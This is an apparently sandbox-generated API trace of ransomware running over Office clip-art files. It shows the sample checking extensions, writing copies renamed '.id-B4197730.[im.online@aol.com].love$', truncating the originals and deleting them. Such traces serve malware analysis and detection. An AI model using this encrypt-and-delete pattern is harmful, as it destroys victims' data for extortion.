lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.675] lstrlenW (lpString=".xlsx") returned 5 [0243.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.675] lstrlenW (lpString=".ppt") returned 4 [0243.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.675] lstrlenW (lpString=".zip") returned 4 [0243.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.675] lstrlenW (lpString=".rar") returned 4 [0243.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString=".bz2") returned 4 [0243.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.675] lstrlenW (lpString=".7z") returned 3 [0243.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.676] lstrlenW (lpString=".dbf") returned 4 [0243.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.676] lstrlenW (lpString=".1cd") returned 4 [0243.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0243.676] lstrlenW (lpString=".jpg") returned 4 [0243.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.676] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.676] lstrlenW (lpString="DD01179_.WMF") returned 12 [0243.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.677] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2024) returned 1 [0243.677] CloseHandle (hObject=0x4c8) returned 1 [0243.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0243.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.677] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.678] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.678] GetLastError () returned 0x0 [0243.678] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0243.680] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0243.681] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.681] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.681] SetEndOfFile (hFile=0x544) returned 1 [0243.682] CloseHandle (hObject=0x544) returned 1 [0243.682] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.682] SetEndOfFile (hFile=0x4c8) returned 1 [0243.684] CloseHandle (hObject=0x4c8) returned 1 [0243.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0243.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0243.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.686] lstrlenW (lpString=".doc") returned 4 [0243.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.686] lstrlenW (lpString=".docx") returned 5 [0243.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.686] lstrlenW (lpString=".pdf") returned 4 [0243.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.686] lstrlenW (lpString=".xls") returned 4 [0243.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.686] lstrlenW (lpString=".xlsx") returned 5 [0243.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.686] lstrlenW (lpString=".ppt") returned 4 [0243.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.686] lstrlenW (lpString=".zip") returned 4 [0243.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.686] lstrlenW (lpString=".rar") returned 4 [0243.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.686] lstrlenW (lpString=".bz2") returned 4 [0243.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.686] lstrlenW (lpString=".7z") returned 3 [0243.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.686] lstrlenW (lpString=".dbf") returned 4 [0243.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.686] lstrlenW (lpString=".1cd") returned 4 [0243.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.687] lstrlenW (lpString=".jpg") returned 4 [0243.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.687] lstrlenW (lpString=".doc") returned 4 [0243.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString=".docx") returned 5 [0243.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.687] lstrlenW (lpString=".pdf") returned 4 [0243.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString=".xls") returned 4 [0243.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.687] lstrlenW (lpString=".xlsx") returned 5 [0243.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.687] lstrlenW (lpString=".ppt") returned 4 [0243.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.687] lstrlenW (lpString=".zip") returned 4 [0243.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.687] lstrlenW (lpString=".rar") returned 4 [0243.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString=".bz2") returned 4 [0243.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString=".7z") returned 3 [0243.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.687] lstrlenW (lpString=".dbf") returned 4 [0243.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.687] lstrlenW (lpString=".1cd") returned 4 [0243.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0243.688] lstrlenW (lpString=".jpg") returned 4 [0243.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.688] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0243.688] lstrlenW (lpString="DD01180_.WMF") returned 12 [0243.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.689] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2084) returned 1 [0243.689] CloseHandle (hObject=0x4c8) returned 1 [0243.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0243.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0243.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0243.690] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.690] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0243.691] GetLastError () returned 0x0 [0243.691] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x824, lpOverlapped=0x0) returned 1 [0243.693] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x830, lpOverlapped=0x0) returned 1 [0243.694] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.694] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.695] SetEndOfFile (hFile=0x544) returned 1 [0243.695] CloseHandle (hObject=0x544) returned 1 [0243.695] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.695] SetEndOfFile (hFile=0x4c8) returned 1 [0244.275] CloseHandle (hObject=0x4c8) returned 1 [0244.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0244.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.276] lstrlenW (lpString=".doc") returned 4 [0244.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.277] lstrlenW (lpString=".docx") returned 5 [0244.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.277] lstrlenW (lpString=".pdf") returned 4 [0244.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.277] lstrlenW (lpString=".xls") returned 4 [0244.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.277] lstrlenW (lpString=".xlsx") returned 5 [0244.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.277] lstrlenW (lpString=".ppt") returned 4 [0244.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.277] lstrlenW (lpString=".zip") returned 4 [0244.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.277] lstrlenW (lpString=".rar") returned 4 [0244.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.277] lstrlenW (lpString=".bz2") returned 4 [0244.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.277] lstrlenW (lpString=".7z") returned 3 [0244.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.277] lstrlenW (lpString=".dbf") returned 4 [0244.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.278] lstrlenW (lpString=".1cd") returned 4 [0244.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.278] lstrlenW (lpString=".jpg") returned 4 [0244.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.278] lstrlenW (lpString=".doc") returned 4 [0244.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.278] lstrlenW (lpString=".docx") returned 5 [0244.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.278] lstrlenW (lpString=".pdf") returned 4 [0244.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.278] lstrlenW (lpString=".xls") returned 4 [0244.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.278] lstrlenW (lpString=".xlsx") returned 5 [0244.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.279] lstrlenW (lpString=".ppt") returned 4 [0244.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.279] lstrlenW (lpString=".zip") returned 4 [0244.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.279] lstrlenW (lpString=".rar") returned 4 [0244.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.279] lstrlenW (lpString=".bz2") returned 4 [0244.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.279] lstrlenW (lpString=".7z") returned 3 [0244.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.279] lstrlenW (lpString=".dbf") returned 4 [0244.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.279] lstrlenW (lpString=".1cd") returned 4 [0244.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0244.279] lstrlenW (lpString=".jpg") returned 4 [0244.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.279] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0244.279] lstrlenW (lpString="DD01629_.WMF") returned 12 [0244.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.282] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=580) returned 1 [0244.282] CloseHandle (hObject=0x4c8) returned 1 [0244.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0244.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0244.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0244.283] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.283] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0244.284] GetLastError () returned 0x0 [0244.284] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x244, lpOverlapped=0x0) returned 1 [0244.285] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x250, lpOverlapped=0x0) returned 1 [0244.286] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.286] WriteFile (in: hFile=0x544, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0244.286] SetEndOfFile (hFile=0x544) returned 1 [0244.287] CloseHandle (hObject=0x544) returned 1 [0244.287] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.287] SetEndOfFile (hFile=0x4c8) returned 1 [0244.290] CloseHandle (hObject=0x4c8) returned 1 [0244.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0244.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0244.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.292] lstrlenW (lpString=".doc") returned 4 [0244.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.292] lstrlenW (lpString=".docx") returned 5 [0244.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.292] lstrlenW (lpString=".pdf") returned 4 [0244.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.292] lstrlenW (lpString=".xls") returned 4 [0244.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.292] lstrlenW (lpString=".xlsx") returned 5 [0244.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.292] lstrlenW (lpString=".ppt") returned 4 [0244.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.292] lstrlenW (lpString=".zip") returned 4 [0244.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.292] lstrlenW (lpString=".rar") returned 4 [0244.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.293] lstrlenW (lpString=".bz2") returned 4 [0244.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.293] lstrlenW (lpString=".7z") returned 3 [0244.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.293] lstrlenW (lpString=".dbf") returned 4 [0244.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.293] lstrlenW (lpString=".1cd") returned 4 [0244.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.293] lstrlenW (lpString=".jpg") returned 4 [0244.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0244.293] lstrlenW (lpString=".doc") returned 4 [0244.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.293] lstrlenW (lpString=".docx") returned 5 [0244.294] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.294] lstrlenW (lpString=".pdf") returned 4 [0244.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.294] lstrlenW (lpString=".xls") returned 4 [0244.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.294] lstrlenW (lpString=".xlsx") returned 5 [0244.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.294] lstrlenW (lpString=".ppt") returned 4 [0244.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 